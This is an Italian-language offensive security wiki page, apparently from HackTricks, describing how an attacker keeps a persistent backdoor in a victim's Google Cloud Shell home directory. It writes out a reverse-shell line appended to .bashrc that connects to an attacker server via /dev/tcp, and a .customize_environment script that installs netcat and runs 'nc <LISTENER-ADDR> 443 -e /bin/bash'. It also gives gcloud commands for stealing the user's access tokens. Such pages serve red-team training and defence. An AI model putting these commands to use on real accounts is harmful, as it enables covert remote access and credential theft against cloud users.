# GCP - Cloud Shell Persistenza

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Shell

Per maggiori informazioni consulta:

{{#ref}}
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}

### Backdoor persistente

[**Google Cloud Shell**](https://cloud.google.com/shell/) ti fornisce accesso via riga di comando alle tue risorse cloud direttamente dal browser senza alcun costo associato.

Puoi accedere a Google Cloud Shell dalla **web console** oppure eseguendo **`gcloud cloud-shell ssh`**.

Questa console presenta alcune capacità interessanti per gli attackers:

1. **Any Google user with access to Google Cloud** ha accesso a un'istanza Cloud Shell completamente autenticata (i Service Accounts possono farlo, anche se sono Owners dell'org).
2. Tale istanza **manterrà la sua home directory per almeno 120 giorni** se non avvengono attività.
3. Non esistono **meccanismi che permettano a un'organizzazione di monitorare** l'attività di quell'istanza.

Questo significa fondamentalmente che un attacker può mettere una backdoor nella home directory dell'utente e, fintanto che l'utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l'attacker otterrà una shell ogni volta che viene eseguita semplicemente facendo:

<details>

<summary>Add reverse shell to .bashrc</summary>
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
```
</details>

C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire il backdoor precedente o uno come il seguente per mantenere la persistenza finché l'utente usa "frequentemente" il cloud shell:

<details>

<summary>Create .customize_environment backdoor</summary>
```bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
```
</details>

> [!WARNING]
> È importante notare che la **prima volta che viene eseguita un'azione che richiede l'autenticazione**, appare una finestra di autorizzazione pop-up nel browser dell'utente. Questa finestra deve essere accettata prima che il comando possa essere eseguito. Se appare una pop-up imprevista, potrebbe destare sospetti e potenzialmente compromettere il metodo di persistence in uso.

Questa è la pop-up risultante dall'esecuzione di `gcloud projects list` da cloud shell (as attacker) vista nella sessione del browser dell'utente:

<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>

Tuttavia, se l'utente ha utilizzato attivamente il cloudshell, la pop-up non apparirà e puoi **gather tokens of the user with**:

<details>

<summary>Ottieni access tokens da Cloud Shell</summary>
```bash
gcloud auth print-access-token
gcloud auth application-default print-access-token
```
</details>

#### Come viene stabilita la connessione SSH

In pratica vengono usate queste 3 chiamate API:

- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ti farà aggiungere la tua public key creata localmente)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (ti farà avviare l'istanza)
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (ti dirà l'IP del Google Cloud Shell)

Ma puoi trovare ulteriori informazioni in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)

## Riferimenti

- [https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec](https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec)
- [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
- [https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/](https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/)

{{#include ../../../banners/hacktricks-training.md}}
